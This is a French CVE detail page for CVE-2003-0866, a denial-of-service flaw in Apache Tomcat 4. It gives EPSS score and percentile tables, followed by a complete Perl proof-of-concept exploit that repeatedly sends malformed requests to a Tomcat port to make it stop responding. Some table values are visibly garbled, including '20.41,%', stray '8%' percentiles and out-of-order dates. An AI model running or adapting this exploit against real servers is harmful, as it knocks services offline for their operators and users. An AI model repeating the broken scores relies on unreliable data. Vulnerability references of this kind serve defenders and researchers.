CVE-2003-0866 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	33.04%	–	–
2022-04-10	–	–	33.04%	–	–
2023-03-12	–	–	–	0.53%	–
2023-04-30	–	–	–	0.63%	–
2023-09-17	–	–	–	0.63%	–
2024-02-11	–	–	–	0.63%	–
2024-02-25	–	–	–	0.63%	–
2024-03-31	–	–	–	0.47%	–
2024-06-02	–	–	–	0.47%	–
2024-06-16	–	–	–	0.47%	–
2024-08-25	–	–	–	0.59%	–
2024-12-22	–	–	–	0.7%	–
2025-03-02	–	–	–	0.88%	–
2025-01-19	–	–	–	0.7%	–
2025-03-09	–	–	–	0.88%	–
2025-03-18	–	–	–	–	20.41%
2025-03-18	–	–	–	–	20.41,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	97%
2022-04-10	98%
2023-03-12	73%
2023-04-30	76%
2023-09-17	77%
2024-02-11	78%
2024-02-25	79%
2024-03-31	75%
2024-06-02	75%
2024-06-16	76%
2024-08-25	79%
2024-12-22	8%
2025-03-02	83%
2025-01-19	8%
2025-03-09	83%
2025-03-18	95%
2025-03-18	95%

source: https://www.securityfocus.com/bid/8824/info Apache Tomcat 4 has been reported prone to a remotely triggered denial-of-service vulnerability when handling undisclosed non-HTTP request types. When certain non-HTTP request types are handled by the Tomcat HTTP connector, the Tomcat server will reject subsequent requests on the affected port until the service is restarted. #!/usr/bin/perl # # PoC - DoS Exploit for Apache Tomcat 4 # by Oliver Karow - oliver.karowNOSPAM__AT__gmx.de # http://www.oliverkarow.de/research/tomcat_crash.txt # # Run this script against the Tomcat Admin Port. After execution, the page will not be accessible any more. # The port is still open and accepting connections, but not responding with content. To verify, connect with your browser # to the port. # use IO::Socket; $ip="192.168.0.16"; $port="8080"; $counter =0; @attackpattern=("'"); for ($x=0;$x<=400;$x++){ $headerLine="GET /dummy/dontexist.pl? HTTP/1.0\n\n"; @temp=split(/(\/)/,$headerLine); foreach (@temp){ $replaceme=$_; foreach(@attackpattern){ $attack=$_; $newheaderline=$headerLine; $newheaderline=~ s/$replaceme/$attack/i; $remote=IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$ip, PeerPort=>$port, Timeout=>5) or die "Connection not possible\n"; print $remote $newheaderline; print "\nRequest: ".$counter++." \t".$newheaderline."\n"; $remote->close; } } }